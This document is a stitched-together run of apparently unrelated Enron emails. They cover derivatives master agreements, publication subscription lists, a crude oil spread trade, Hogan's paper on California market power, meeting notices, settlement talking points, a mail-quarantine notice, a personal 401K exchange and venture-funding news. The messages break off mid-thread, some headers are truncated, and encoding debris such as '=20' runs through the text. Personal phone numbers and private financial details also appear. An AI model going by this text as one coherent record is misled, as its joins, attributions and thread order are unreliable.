Jim/Mark, attached is a memo that reflects my conversations with Jim Christie, Chairman of Blakes, regarding the ongoing management of Enron work, which I believe reflects our own internal discussions.  I am copying the lawyers in my group for their information.  Best regards, Peter.

From: 	"JIM CHRISTIE" <jim.christie@blakes.com>@ENRON [mailto:IMCEANOTES-+22JIM+20CHRISTIE+22+20+3Cjim+2Echristie+40blakes+2Ecom+3E+40ENRON@ENRON.com] 
Sent:	Friday, June 08, 2001 11:20 AM
To:	Keohane, Peter
Subject:	Peter Keohane re Enron Blakes relationship

Dear Peter:

Thank you for your note.  I enclose a clean copy of my memo as requested.

When I am next in Calgary, I would like to get together with you and, if he is available, Rob Milnthorp.  In the meantime, if there is anything I can assist with, please give me a call.

James R. Christie
Chairman
Blake, Cassels & Graydon LLP
Commerce Court West
Box 25, 28th Floor
Toronto, Ontario  M5L 1A9

Tel:  416-863-2546
Fax:  416-863-2653
Email:  jim.christie@blakes.com

This e-mail communication is confidential and legally privileged.  If you are not the intended recipient, please notify me at the telephone number shown above or by return e-mail and delete this communication and any copy immediately.  Thank you.

 - PeterKeo.DOC << File: PeterKeo.DOC >> 
 - JIM CHRISTIE.vcf << File: JIM CHRISTIE.vcf >> 

All:

PLEASE NOTE THE FOLLOWING BASED UPON MY UNDERSTANDING OF THE PARTIES TO THIS 
PREPAY

(1)  The Toronto Dominion (Texas) master agreement with ECT is a restricted 
master.  It was negotiated for a prepay several years ago and is not 
necessarily market (or ENA) standard.  It should be reviewed immediately by 
legal and credit.

(2)  The Morgan Stanley Capital Group master agreement is very old.  IT IS 
NOT AN ISDA .  It is a 1992 Master Energy Price Swap Agreement (limited to 
simple transactions and commodities).  The terminology is not even ISDA 
terminology.  This master has been on the credit/legal radar screen for 
upgrading to an ISDA.  

Rod:  You need to take a look at the Toronto Dominion (Texas) master 
agreement now and we should discuss.

Treasa:  Will there be a rate swap?  Under which master(s)?

This is a list of subscription & publication information, compiled by 
different regions, regarding developments in energy and broadband.

INDIA
Leena Mathews @ ENRON_DEVELOPMENT                06/13/2000 06:23 AM
We do not specifically subscribe for broadband/commnunications related 
magazines. News items related to the above are always covered in the business 
magazines below. They are equivalent to the Fortune and Forbes

PUBLICATIONS   SUBSCRIPTION RATE  ONLINE WEBSITE 
Business India    us $85      
10, Pearl Mansion,
91, Maharashi Karve Road
Bombay - 400 020
Tel # 91 22 200 9274/206 9276
Fax # 91 22 200 6669

Businessworld       www.businessworldindia.com

Business Today       www.Business-today.com
       
Powerline        www.indiapoweronline.com

Indian Infrastructure   US $ 150 (1 yr)    
PowerLine, D-4/5 Vasant   US $ 270 (2 yrs) 
Vihar, New Delhi - 57   US $ 350 (3 yrs)   
Tel # 91 11 615 2322
Fax # 91 11 615 2344     
e-mail: powerlin@del2.vsnl.net.in

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
ASIA & AFRICA
From: John Ambler@ENRON_DEVELOPMENT on 06/07/2000 02:54 PM

We do not currently subscribe to such trade publications for Asia and 
Africa.  We do deal with and monitor a number of publications, but many are 
not in English.  Two useful online publications are www.nni.nikkei.co.jp and 
www.energyasia.com.

As for major magazines, Nikkei Business is the premier business magazine in 
Japan.  In most areas there are major newspapers that are more influential.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++
EUROPE

Iona Maclean@ECT
05/23/2000 03:33 AM
We think that the following are the best publications for you to access (this 
can be done on-line)
- FT On-line http://www.business.ft.com/energy_login.html
This site covers all the financial times publications. Enron Europe have a 
special deal with FT on-line where everyone can access the service for free.
 
You can also access the following on-line
- Utility Week and Utility Europe www.utilityweek.com
- The Economist http://www.economist.com/

If you are interested in specific coverage I would be happy to include you in 
my distribution lists. Please call me on +44 207 783 5331 if you have any 
further questions.

++
LATIN AMERICA

Dennis Vegas@ENRON_DEVELOPMENT
05/09/2000 08:53 AM
International/Regional
Global Finance
Latin Trade
Latin Finance
Newsweek Americas
WSJ Americas 
Financial Times (great intl coverage)

Newsletters
Latin America Monitor (online we subscribe for CALME only to Andean Region, 
Central America, Caribbean and Middle East editions)
Latin America Power Watch
Latin America Energy

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
JAPAN
From: Michael Grimes@ENRON_DEVELOPMENT on 05/08/2000 08:38 AM
I'm trying to get a subscription to the Nikkei, which has an electronic site 
at:

http://www.nni.nikkei.co.jp/

I also have a free subscription to the PMA news site, which has proved 
useful. http://www.powermarketers.com/main.htm

I would call the Nikkei the closest to Forbes in Japan.

Paul- we went ahead and did the deal with DKR:

They bought WTI at $25.67and sold NYH 1% at $22.57
Net spread= $3.10
CY02
25 contract per month= 300,000 bbls in total.

I have requested 50K of initial margin on the deal.

In terms of the deemed ISDA, we agreed to Paul's termination clauses with the 
amendment.

change 3 to ...NAV exceeds 3 to 1
change 4 to ....$30MM and $150MM, respectively.

Carol- as soon as you can get out the deemed ISDA , I'll let my back office 
know..
Please call me with questions,
Caroline
212 702 3910

I have been requesting that the Canadian gas reports be broken down by trader 
for a while.  I am not comfortable not knowing the P/L or positions by trader 
in Canada.  Why is this not done yet and how can I help get it done.  

John

canary (kuh-NAR-ee) noun

   1. A small finch (Serinus canaria) native to the Canary Islands that is
      greenish to yellow and has long been bred as a cage bird.

   2. A woman singer. An informer; a stool pigeon.

   3. A sweet white wine from the Canary Islands, similar to Madeira.

   4. A lively 16th-century court dance.

   5. A light to moderate or vivid yellow color.

[French canari, from Spanish canario, of the Canary Islands, from (Islas)
Canarias, Canary (Islands), from Late Latin Canariae (Insulae), (islands)
of dogs, from Latin canarius, pertaining to dogs, canine, from canis, dog.]

   "Other Hollywood illuminati have denounced Mr. Kazan for his supposed
   treachery; a newspaper columnist describes him as `the most famous
   canary of the Cold War'."
   Geoffrey Wheatcroft, The Waterfront All Over Again,
   The Wall Street Journal, Mar 19, 1999.

This week's theme: animal words that are used figuratively.

............................................................................
In the midst of great joy, do not promise anyone anything. In the midst of
great anger, do not answer anyone's letter. -Chinese proverb

Q: What is your privacy policy?
A: AWAD mailing list addresses are never sold, rented, leased, traded,
   swapped, marketed, exchanged or bartered to anyone. We don't like to
   receive junk mail, and know you don't either.

http://wordsmith.org/words/canary.wav
http://wordsmith.org/words/canary.ram

Just wanted to let you know how Brian was responding.

From: 	Redmond, Brian  
Sent:	Wednesday, October 31, 2001 1:08 PM
To:	Le Dain, Eric; Whitt, Mark; Lagrasta, Fred
Cc:	Tycholiz, Barry; Roberts, Linda
Subject:	RE: Producer hedging

Eric,

Thanks for the note - Fred would be your contact for this.

Regards,
Brian

From: 	Le Dain, Eric  
Sent:	Wednesday, October 31, 2001 1:53 PM
To:	Whitt, Mark; Redmond, Brian
Subject:	Producer hedging

Mark, Brian,
The US based Producers that are taking over Canadian Producers are moving alot of hedging control back to the US.  I want to make sure that we up here are passing on information to you and vice versa about plans to hedge.  In the case of the Devon hedge, it was fairly well publicised that they had to do something to hedge the Anderson purchase, but there are other cases where we might get some news and need to pass it on for coverage down south.
Should it be you two we contact?

We specfically need to think some about coordinating on companies like Apache, Hunt, Devon, Burlington, Murphy.

Did we get any of the Devon volume in Houston?  It was alot of gas.    

Ken wanted you to have a copy
---------------------- Forwarded by Rosalee Fleming/Corp/Enron on 04/26/200=
1=20
03:51 PM ---------------------------

Willliam Hogan <William_Hogan@harvard.edu> on 04/25/2001 06:34:08 AM
To: ER:;
cc: =20
Subject: On Market Power in California

FYI.? The complete version of the following paper is available on my web pa=
ge=20
at:

www.whogan.com

????????ON THE EXERCISE OF MARKET POWER THROUGH
STRATEGIC WITHHOLDING IN CALIFORNIA
Scott Harvey and William W. Hogan
April 24, 2001

Beginning in June of 2000, the shock of unexpectedly high prices in the=20
California electricity market convinced everyone of the need for policies t=
o=20
correct the apparent market failures.? The public debate and policy=20
discussions have been dominated by a focus on market power as a principal=
=20
problem amenable to regulatory solution.? However, design of effective=20
policies to moderate prices or mitigate their effects depends on the=20
diagnosis of the underlying causes.? High prices attributable largely to an=
=20
exercise of market power in electric generation would point to particular=
=20
market participants and behaviors that could be targeted for regulatory=20
action.? By contrast, high prices attributable to bad electricity market=20
design would indicate a need for changes in the design.? High prices=20
attributable to higher fuel prices, environmental constraints and capacity=
=20
shortages, on the other hand, would prompt actions to address the cost of=
=20
fuel and environmental limitations and indicate that retail loads should=20
receive the appropriate price signal for conservation.

Suppliers could affect market prices by strategically withholding some=20
capacity in order to profit on the capacity actually sold in the market.? B=
ut=20
charging high prices during periods of scarcity is not classified as=20
exercising market power if there is no strategic withholding of supply.?=20
Likewise, refusing to supply without being paid is not an exercise of marke=
t=20
power.? Although the potential for withholding exists for many suppliers, t=
he=20
focus of attention has been on the exercise of market power by thermal=20
generators in California.

On its face, the experience of extremely high prices suggests that the=20
exercise of market power could be important.? But at the same time the data=
=20
show that there have been profound changes in the California market such th=
at=20
the thermal generators have actually increased their production more than=
=20
demand has grown.? If anything, thermal generators that hit annual output=
=20
limits produced too much rather than too little in the summer of 2000.?=20
Furthermore, the widespread impacts of higher electricity prices throughout=
=20
the western market, both on and off peak,? indicate that if the exercise of=
=20
market power is important it is occurring to an extent and through channels=
=20
unprecedented in this or other electricity markets.? In short, this is a=20
complicated story, and there is ample room for further investigation of the=
=20
data and diagnosis of causes.

Examination of the major analyses of the exercise of market power reveals=
=20
that the estimated magnitude of the possible strategic withholding of=20
electric generation is small enough to make it important to verify the=20
simplifying assumptions.? If strategic withholding were large and pervasive=
,=20
then the real details of the California electricity market could be ignored=
.?=20
But it is by now apparent that the evidence is not clear, and any finding o=
f=20
the presence or absence of strategic withholding of generation in the=20
California electricity market could turn on the simplifying assumptions use=
d=20
in the analysis of the data.? For example, annual limits on production=20
dictate that plants should not run in many hours when prices are higher tha=
n=20
direct incremental costs; hence, examinations of output decisions for=20
individual hours or months are necessarily incomplete.? The variation in re=
al=20
time conditions is large enough to produce significant reductions in output=
=20
compared to the expectations given day-ahead prices; hence, with capacity=
=20
constraints average optimal production is necessarily less than optimal=20
production at average prices.? Limits on the ramping rate of generation=20
units, start-up costs, minimum load costs and other operational=20
inflexibilities imply that a dispatch day is not just twenty-four separate=
=20
hours and must be analyzed chronologically, recognizing these factors.? And=
=20
so on.? Accounting for such effects can reverse the implications of the=20
previous evidence.? Unfortunately, the real details are neither simple nor=
=20
incidental.

It is difficult to conduct a study of market power based solely on publicly=
=20
available data.? A fuller analysis would require data available only to the=
=20
California Independent System Operator, and has not been done.? Many factor=
s=20
contributed to higher electricity prices in California, and the market powe=
r=20
theme is only, at most, part of the story.? The import of the previous=20
analyses is not to prove that market power has been exercised in the=20
California electricity market but, rather, to suggest that it might be=20
important.? The import of the sensitivity analysis here is not to prove tha=
t=20
market power has not been exercised in the electricity market? but, rather,=
=20
to suggest that it is unlikely to be the dominant factor and may not even b=
e=20
significant.? With the available data in the public domain, and the special=
=20
complications introduced by the California market design, the margin of err=
or=20
in estimating the extent of the possible exercise of market power through=
=20
strategic withholding of electric generation is of the same order of=20
magnitude as the effect being measured.? On balance, to date the publicly=
=20
available data provides no reason for the Federal Energy Regulatory=20
Commission to change its conclusion that there is no evidence of strategic=
=20
withholding nor any proof that no strategic withholding has occurred.

By contrast, there is general agreement that the California electricity=20
market design is =01&seriously flawed.=018? Furthermore, there is evidence =
that the=20
policy responses that have been adopted in California have accelerated an=
=20
already serious market collapse.? Hence, without dismissing the possibility=
=20
of the exercise of market power, the principal policy focus should be on=20
fashioning workable solutions for the other more serious problems in market=
=20
design that relate to the underlying causes of the market meltdown.

Separate from market power mitigation, California should pay its bills, rai=
se=20
incremental prices to retail customers, and move as quickly as possible to=
=20
operating a coordinated and efficient market with consistent pricing for al=
l=20
that includes unit commitment, day-ahead scheduling, and real-time=20
balancing.? Although not a panacea, these steps would address immediate=20
problems and set the stage for longer-term initiatives to expand generation=
=20
capacity, transmission infrastructure, and the reach of an efficient market=
=20
to the western interconnected grid.

William W. Hogan
John F. Kennedy School of Government
Harvard University
79 John F. Kennedy Street
Cambridge, MA 02138
617-495-1317 (o)
617-495-1635 (f)
william_hogan@harvard.edu
web page: www.whogan.com
or
http://ksgwww.harvard.edu/people/whogan

schedule
---------------------- Forwarded by Jeffrey A Shankman/HOU/ECT on 10/17/2000 
12:54 PM ---------------------------
   
	From:  Cathy Phillips                           10/17/2000 10:38 AM
	
cc:  
Subject: Re: Corp Responsibility Task Force Meeting - Oct 25  

Hi Jeff -

Mike said that this is a new task force that Joe Sutton is organizing and he 
doesn't know much about it.  Mike said that our group needs to represented 
and he is committed to a speaking engagement at lunch on that day.

Thanks for helping out.

CP

To: Cathy Phillips/HOU/ECT@ECT
cc:  

what is this?

	From:  Cathy Phillips                           10/13/2000 05:12 PM
	
To: Stacy Walker/Enron Communications@ENRON COMMUNICATIONS@ENRON
cc: Jeffrey A Shankman/HOU/ECT@ECT, Jennifer Burns/HOU/ECT@ECT 

Jeff Shankman will be attending for Mike McConnell.  His assistant is 
Jennifer Burns.

Thanks.

Cathy Phillips
X-36898

	Stacy Walker @ ENRON COMMUNICATIONS
	10/13/2000 04:53 PM
	
To: Miguel Padron/SA/Enron@ENRON, Sanjay 
Bhatnagar/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Rick Buy/HOU/ECT@ECT, Bob 
Butts/GPGFIN/Enron@Enron, Brian Redmond/HOU/ECT@ECT, Tim DeSpain/HOU/ECT@ECT, 
Mariella Mahan/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Stanley 
Horton/Corp/Enron@ENRON, Eddie Clay/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Mike 
McConnell/HOU/ECT@ECT, Mitchell Taylor/Corp/Enron@ENRON, Hap 
Boyd/EWC/Enron@Enron, Elyse Kalmans/Corp/Enron@ENRON, Vicki 
Sharp/HOU/EES@EES, Jeffrey Sherrick/Corp/Enron@Enron, Dan Bruce/HOU/ECT@ECT, 
Paula Rieker/Corp/Enron@Enron, Mark Schroeder/LON/ECT@ECT, Michael 
Terraso/OTS/Enron@ENRON, Rob Walls/NA/Enron@ENRON, Brian 
Stanley/EU/Enron@ENRON
cc: Karen E Campos/NA/Enron@ENRON, Beena 
Pradhan/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Karen K Heathman/HOU/ECT@ECT, 
Dortha Gray/GPGFIN/Enron@Enron, Lillian Carroll/HOU/ECT@ECT, Inez 
Dauterive/HOU/ECT@ECT, Isabel Romero/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, 
Cindy Stark/Corp/Enron@ENRON, Barbara 
Hooks/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Cathy Phillips/HOU/ECT@ECT, 
Rosario Boling/Corp/Enron@Enron, Sheila Petitt/EWC/Enron@Enron, Zulie 
Flores/Corp/Enron@ENRON, Leasa Lopez/HOU/EES@EES, Christina 
Grow/Corp/Enron@Enron, Mary Weatherstone/HOU/ECT@ECT, Laura 
Valencia/Corp/Enron@ENRON, Beverley Ashcroft/LON/ECT@ECT, Laura 
Glenn/OTS/Enron@ENRON, Debra Hicks/NA/Enron@ENRON, Charlotte 
Tracey/EU/Enron@ENRON, Rosalee Fleming/Corp/Enron@ENRON, Maureen 
McVicker/NA/Enron@ENRON, Lauren Goldblatt/NY/ECT@ECT 
Subject: Corp Responsibility Task Force Meeting - Oct 25

Reminder: please be sure and mark your calendars for this important meeting.  
Also, please let us know if you will be sending a designee.  We appreciate 
and look forward to your participation!

----- Forwarded by Stacy Walker/Enron Communications on 10/13/00 04:52 PM 
-----

	Joseph W Sutton@ENRON_DEVELOPMENT
	Sent by: Pam Benson@ENRON_DEVELOPMENT
	10/05/00 08:17 AM
		 
		 To: Rick Buy@ECT, Stanley Horton/Corp/Enron@Enron, Mike 
McConnell/HOU/ECT@ECT, Jeffrey Sherrick/Corp/Enron@ENRON, Paula 
Rieker/Corp/Enron@ENRON, Mark A Schroeder/NPNG/Enron@ENRON, Rob 
Walls/NA/Enron@Enron, Brian Stanley/EU/Enron@ENRON, Sanjay 
Bhatnagar/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
		 cc: Karen K Heathman/HOU/ECT@ECT, Cindy Stark/Corp/Enron@ENRON, Cathy 
Phillips/HOU/ECT@ECT, Christina Grow/Corp/Enron@ENRON, Laura 
Valencia/Corp/Enron@ENRON, Beverley Ashcroft/LON/ECT@ECT, Debra 
Hicks/NA/Enron@Enron, Charlotte Tracey/EU/Enron@ENRON, Beena 
Pradhan/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Kelly Kimberly@Enron 
Communications, Michael Terraso/OTS/Enron@ENRON, Lauren Goldblatt/NY/ECT@ECT, 
Pam Benson/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, (bcc: Stacy Walker/Enron 
Communications)
		 Subject: Corp Responsibility Task Force Meeting - Oct 25

Thank you for responding to our invitation to participate in the first 
Corporate Responsibility Task Force Meeting.  The meeting will be on 
Wednesday, October 25, 2000 from 10:30 am to 1:00 pm in the Enron Building - 
50th floor boardroom.  Committee members from London will be able to 
participate via video conference.   Lunch will be served for those 
participating in Houston.

I will chair the meeting assisted by Kelly Kimberly, Sr. VP of EBS who heads 
our Corporate Responsibility initiative.

In the event that you are unable to attend, please let us know who will 
attend in your absence.  Should you have any questions, please feel free to 
contact Kelly at 713-853-1611.  We look forward to your participation.

Thanks for your support!

Attached is a letter requesting participation is a survey of a Standard
Scheduling Time Zone (ugh, not again you say!!) and the survey.  

ISAS appreciates you help in completing the document.

 <<StandardTimeZoneSurvey.doc>>  <<Survey Letter.doc>> 

Mark W. Hackney
Section Leader
Pre and Real-time Transmission Scheduling
APS OATT Administration
Arizona Public Service Company
602.250.1128 - Office
602.908.1423 - Cell
602.250.1155 - Fax
mailto:Mark.Hackney@aps.com

FYI,
It has been a valiant effort but as soon as we free up space on the Notes 
server it fills back in. 
So as a result we will be shutting down the notes server tonight from 8:00 PM 
until 12:00 AM to rebuild the data drives. This will provide more space to 
work with and allow for room to grow.
We will also be turning on a purge agent in 2 weeks that will eliminate mail 
from your Inbox, Sent Mail and Trash after it reaches 30 days of age.
Please shut down Lotus Notes before you leave to night to help ensure we do 
not lose any data.

Thanks,
Mike Mc.

Please put on my calendar.

Jim

From: 	Dernehl, Ginger  
Sent:	Tuesday, September 04, 2001 1:08 PM
To:	Assad, Sergio; Dadson, Aleck; Guerrero, Janel; Ibrahim, Amr; Kaufman, Paul; Kingerski, Harry; Mara, Susan; Migden, Janine; Montovano, Steve; Nord, Sue; Robertson, Linda; Ryall, Jean; Steffes, James D.; Yoho, Lisa
Subject:	

Rick would like to hold a Direct Report conf. call on Thursday, September 6.  Please mark your calendars for a 30 minute call to begin @ 10:00 AM (CDT).  The dial information will be 1-800-283-1805.

Ginger Dernehl
Phone# 713-853-7751
Fax# 713-646-8160

Mike, here are two draft sets of talking points covering Stan's initial phone 
call with Ted Davis to discuss whether a settlement meeting would be useful 
and the subsequent settlement meeting itself.  Please give me any comments 
you have and I'll send to Stan or have available to hand to him at our 
meeting, which I understand is scheduled for 9 am on Tuesday.  I'll  be 
calling in from Arizona.  Note there is at least one issue we ought to think 
about a bit more--whether to have Stan imply there may be other goodies 
available other than the Hobbs Line.  I'm inclined to avoid implying that, 
but to have Stan primed to pull out additional goodies if necessary.

I have not yet completed a bullet point outline of the settlement proposal 
for Stan to send to Davis after Stan and he meet.  As things currently stand 
it would basically be identical to the second sheet of talking points.   I 
would prefer to finalize that document after we meet with Stan, both to 
minimize the paper in front of him at the Tuesday meeting and to allow the 
Davis outline to be tailored to reflect the strategy we arrive at with Stan 
(I think I'm safe in assuming we will tinker with the strategy a bit on 
Tuesday morning).  If we do modify the strategy, I'll also modify the talking 
points.  

Britt and Barrett, I wanted you to know the timetable in part because, if 
Stan decides to go forward,  we need to send Barrett's suggested letter to 
Jad verifying continued application of the settlement privilege to Stan and 
Ted's discussions.   I intend to call you after the Stan meeting to advise.  
Just in case you don't hear from me by late morning Tuesday, please give Mike 
a call to confirm whether to send the letter.  I may have fallen into the 
Grand Canyon or been bitten by a hila monster.

Anne,

I just got another phone call from Palo Alto.  They still have not received three of their confirms from deals done around the 20th of July.  They have ceased to do additional business with us until they receive these confirms.

thanks,

Kim

Elizabeth:
This is one of Suzanne's friends.    Do you have any interest in talking to 
her about the legal assistant position?

EB 3889
----- Forwarded by Carol St Clair/HOU/ECT on 05/14/2001 12:23 PM -----

	05/14/2001 12:22 PM
		
		 cc: 
		 Subject: Re: Resume

Thanks!

	05/14/2001 12:20 PM
		
		 cc: 

Suzanne:
Send me Penny's resume and I will take a look at it.i

EB 3889

	05/14/2001 11:32 AM
		 
		 To: carol.st.clair@enron.com
		 cc: 
		 Subject: Resume

Carol, did you look over Penny's resume?  Interested?  She just called this 
morning and said her job has been eliminated.  She's freaking out!  

Did you find a restaurant for your mom and sister? I didn't get the voice 
mail until this morning.  I'm so sorry. I don't know any vegetarian 
restaurants though.

John,

Do you have a few minutes tomorrow morning to discuss some transport model 
issues?  Any time would be fine with me.  I am leaving in a few minutes tosy 
to go to the doctor.  Let me know!

Kate
X34566

You have received this message because someone has attempted to send you an e-mail from outside of Enron with an attachment type that Enron does not allow into our messaging environment. Your e-mail has been quarantined and is being held at the MailSweeper server.

Sender:  CBroussard@harveybuilders.com
Date:  Wed, 6 Feb 2002 14:25:33 -0600
Subject:  early recruiting rankings
Attachment Type: Scenarios/Incoming/Inbound URL Catcher: A filename matching the file mask was detected: 'espn.com recruiting - lemming's early recruiting rankings.url'.

If the intended email is of valid business-related content and you believe it requires Enron resources to retrieve it, you may call your Help Desk and ask to have it released from quarantine and delivered to your e-mail Inbox. Your message will be scanned and checked for viruses prior to requested release.  If it contains a virus or there is reason to suspect it is malicious code, it will not be delivered.

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Start Date: 4/13/01; HourAhead hour: 14;  No ancillary schedules awarded.  

Schedules\2001041314.txt

     Details: (Hour: 14 / Preferred:  20.00 / Final:  19.97)
  TRANS_DATE: 4/13/01
  INTERCHG_ID: EPMI_CISO_BUNNY

Juan,

I did not go to Fidelity.  It was a friend's b-day.  Let me know what you 
think.

Laura

>>> juan hernandez <purogallo@yahoo.com> 05/11/01 05:38PM >>>
Sorry laura i have not had a chance to check my email
lately.  why don't you start e-mailing me at
juan.hernandez@enron.com
--- Laura Hernandez <Laura.Hernandez@trw.com> wrote:
> Juan,
>
> Can you help reevaluate my 401K options?  On Friday,
> I'm going to Fidelity and I want to compare what
> they say.
>
> PUTNAM INVESTORS FUND Y 25%
> PUTNAM S&P 500 INDEX PORTFOLIO  25%
> PUTNAM SMALL CO EQTY PORTFOLIO  25%
> TRW BALANCED FUND   25%
>
> Laura
>
> I can also change to the following:
> BERNSTEIN INT'L VALUE II
> FIDELITY MAGELLAN
> PIMCO TTL RETURN INSTITUTIONAL
> PRIMCO STABLE VALUE FUND
> PUTNAM INTERNATIONAL GROWTH Y
>

Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/

Greg, how big was that last check you told me to watch for. I will transfer 
the remaining to the LIR. QQQ improved for your short today to close at 68 
47/64. Nothing good out of CA utilities and power. Nat Gas lower today. I 
will watch tonight the new President and the vanquished. Also, will today's 
announcement about ENE effect you? Ben

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 12/30/99 

"Webmaster@cera.com" <webmaster on 12/20/99 11:35:46 AM
Subject: CERA Multimedia Presentation:  Monday, December 20, 1999

CERA Multimedia Presentation Replay Now Available!
Monday, December 20, 1999
Title: The Merger and Acquisition Dilemma
Author: North Natural Gas Team
E-Mail Category: Conference Call, Multimedia
Product Line: North American Natural Gas

URL: http://www.cera.com/client/nag/media.cfm

This year's delayed heating season has provided much-needed breathing room
for gas markets. With significantly warm weather in November and December,
fourth quarter demand has dropped considerably below expectations, and
storage inventories have remained higher than projected.  This has
temporarily eased the upward pressure on prices, but the fundamentals remain
aligned for tighter gas markets to come.  In a December 14, 1999 Conference
Call, CERA's North American Natural Gas Team discussed the status of the
current market:

? Warm weather so far this winter released pressure in the North American
gas market - this pressure has already begun to resurface.
? Winter storage and supply appear adequate, injections next summer could
still challenge supply availability.
? Northeast price volatility will continue, with or without added pipeline
capacity.
? Canadian supply - meeting demand.

To view and listen to a replay of this presentation (an example of a new
technology we are using), please click on the link above.

**end**

Follow URL for playback.
Terms of Use: http://www.cera.com/tos.html
Copyright 1999. Cambridge Energy Research Associates
 - att1.htm

Citigroup And Oracle Strike Marketplace Deal -- COMPANIES TEAM TO OFFER 
INTEGRATED PAYMENT SERVICES ON BUSINESS-TO-BUSINESS EXCHANGES 11/20/2000 

Citigroup is extending its reach as a provider of financial services to 
business-to-business marketplaces. The $82 billion company has struck a deal 
with Oracle to integrate its payment and financial-settlement services into 
the vendor's online marketplace platform, Oracle Exchange.

In addition, Citigroup will co-brand and market OracleExchange.com, Oracle's 
trading exchange for business supplies, to business clients and deploy 
Oracle's E-procurement applications internally to simplify its own purchasing.

Citigroup already offers its services, called CitiConnect, to rival 
marketplace companies i2 Technologies Inc. and Commerce One Inc. CitiConnect 
supports complex financial transactions, such as employee procurement-card 
purchases, electronic funds transfers, and cross-border payments, for 
businesses participating in exchanges, whether or not they're Citibank 

Other financial companies target-ing this market include Chase Manhattan Bank 
Corp. and First Union Corp., which have partnerships with online marketplace 
software provider Metiom Inc.; Wachovia Corp. has aligned with Clarus Corp.; 
and ABN Amro, Bank of America, and US Bank have payment-services deals with 
Ariba Inc.

"We see the role of banks in this space increasing as more commerce occurs 
online," says Ann Cairns, global E-solutions head at Citigroup's E-business 
unit. "The key thing that we bring in working with technology companies is an 
understanding and intellectual capital around security and privacy issues."

But Cairns says few transactions occur on exchanges today. Most are building 
their marketplaces, she says. It may be a while before integrated payment 
services gain traction. A recent survey by AMR Research revealed that 
companies participating in exchanges are still most interested in product and 
vendor search capabilities, order status and tracking, and integration with 
partners.

RetailExchange .com Inc., a business-to-business exchange for excess consumer 
goods, is working on integrated credit services with commercial finance firm 
CIT Group Inc. It plans to add shipping and payment services eventually, but 
says large companies already have departments with expertise in those areas. 
Says Ken Frieze, president and CEO of RetailExchange.com, "add-on transaction 
services have to be better and have a greater value proposition than what's 
available offline."

___________________________________________________________

o CheMatch.com Lays Off 8 Employees But Expects More Funding

HOUSTON -- CheMatch.com, a marketplace for buying
and selling bulk commodity chemicals, plastics,
and fuel products, said it laid off 8 employees,
reducing its workforce to 85. The company, which
withdrew its IPO in October, also said it expects
new funding before the end of the year from investors
that include its original backers. CheMatch is backed
by Battery Ventures, Bayer, Computer Sciences Corp.,
E.E. DuPont de Nemours & Co., Methanex, Millennium
Chemicals, H. Muehlstein & Co., Reed Elsevier, Sprout
Group, Stolt-Nielsen, and TownsendTarnell.
http://www.chematch.com/

________________________________________________

o Lockheed Spin-off TeraConnect Raises $40 Million Round One

NASHUA, N.H. -- Optical component company TeraConnect
said it completed its spin off from Lockheed Martin
company Sanders with a $40 million first round funded
by Goldman Sachs, Kodiak Venture Partners, and Spectrum
Equity Investors. The company said it will use the
funding for further product development. Kodiak
Venture Partners managing general partner Dave Furneaux
is chairman of TeraConnect's board of directors.
TeraConnect develops optical components for router,
server, and telecommunications infrastructure markets.
Telephone 603-885-2988.

o Data Communication Firm Bravida Lands $33 Million Series B

PALO ALTO, Calif. -- Bravida, a developer of data
communications infrastructure products, said it
received $33 million in its Series B round of funding,
led by Patricof & Co. Ventures. Advanced Technology
Ventures, Anila Fund, i-Hatch Ventures, Onset, and
St. Paul Ventures also participated. Michael Duran
of Patricof & Co. and Moses S. Joseph from Anila
Fund will join the company's board of directors.
The company will use the funds for product development
and to expand its staff.
http://www.bravidacorp.com/

o HyperTrust, Hosted Security Firm, Has $1 Million Funding

LEUVEN, Belgium -- HyperTrust, which is developing
a hosted platform for secure communications and
transactions based on digital signatures, said it
raised EUR 1.24 million ($1 million) in its first
funding. Investors in the round included Belgian
business accelerator AdValvas Group and IT-Partners.
The company said it will use the funding to continue
its product development. HyperTrust rents secured
infrastructure space to customers with a guarantee
of security measures. Sir Martin Lagauw of AdValvas
Group and Stefaan Nicolay of IT-Partners will both
take seats on the company's board of directors.
http://www.hypertrust.com/

o E-Payment Firm Trintech Buys Globeset for $31 Million

SAN MATEO, Calif. -- Trintech, a publicly-traded
provider of electronic payment infrastructure technology,
said it has acquired another e-payment firm, Globeset,
and all of its intellectual property rights to its
software products. Globeset was acquired for $10
million in stock, $21 million in cash, and the assumption
of liabilities. Globeset is backed by Compaq, CitiGroup,
Deustche Bank, Chase Manhattan, American Express,
and individual investors.
http://www.trintech.com/
http://www.globeset.com/

Louise,

Some further clarification on the HSR waiting period:

- We will receive a letter indicating when the waiting period will expire. The actual expiry is anticipated to be midnight on Thursday, Feb. 7th.
- It is possible that objections or problems could be raised during the waiting period. This we will not really know that we are cleared until sometime on Friday, Feb. 8th.

Accordingly, I will plan on a tentative launch for Monday, February 11. 

I am still waiting for UBS legal approval of the PA and ETA. Once this is received, we will be ready to start our PA marketing efforts to the Top 50 customers. I intend to do this as soon as the documents are approved. If you need me to check with you before we start contacting customers, please let me know.

Dave

Sorry I missed your email.  I will respond Thursday November 29th!  However, if you need immediate attention please contact one of the other Houston Power Team members: Paul Radous, Kortney Brown, or Susan Rance.

Thanks 

This sounds like it is a swap transaction.  If so, please contact Susan 
Bailey / or Stephanie Panus.  

Thanks!

This looks ok to me.

	Melba Lozano
	12/06/2000 04:46 PM
		 
		 cc: 
		 Subject: REVISED - EOL description change

---------------------- Forwarded by Melba Lozano/HOU/ECT on 12/06/2000 04:46 
   
From:  Melba Lozano                                                           
  12/06/2000 04:45 PM	
	
To: Sara Shackleton/HOU/ECT@ECT, Mark Taylor/HOU/ECT@E
cc: Kevin Meredith/Corp/Enron@ENRON, Steve Jacobellis/NA/Enron@Enron, Robert 
B Cass/HOU/ECT@ECT 
